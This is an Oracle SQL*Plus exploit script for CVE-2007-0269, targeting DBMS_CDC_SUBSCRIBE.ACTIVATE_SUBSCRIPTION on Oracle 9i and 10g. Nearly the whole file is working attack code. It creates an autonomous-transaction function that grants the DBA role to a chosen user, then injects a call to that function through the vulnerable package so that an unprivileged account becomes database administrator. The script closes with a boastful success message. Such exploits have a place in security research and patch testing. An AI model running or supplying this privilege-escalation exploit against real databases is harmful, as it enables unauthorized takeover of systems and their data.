-- 
-- dbms_cdc_subscribe.sql
--
--
-- Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit (9i/10g)
--
-- Grant dba permission to unprivileged user
-- 
-- Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-- 
--   REF:    http://www.securityfocus.com/archive/1/396133
--
--   AUTHOR: Andrea "bunker" Purificato
--           http://rawlab.mindcreations.com
--
--   DATE:   Copyright 2007 - Fri Feb 23 12:44:18 CET 2007
-- 
--
set serveroutput on;
prompt [+] dbms_cdc_subscribe.sql exploit (CVE-2007-0269)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Building evil function...

CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
 AUTHID CURRENT_USER AS 
 PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
 EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT; 
 RETURN(0);
END;
/

prompt [-] Finishing...

BEGIN
 SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||'||user||'.own||''');
END;
/

prompt [-] YOU GOT THE POWAH!!
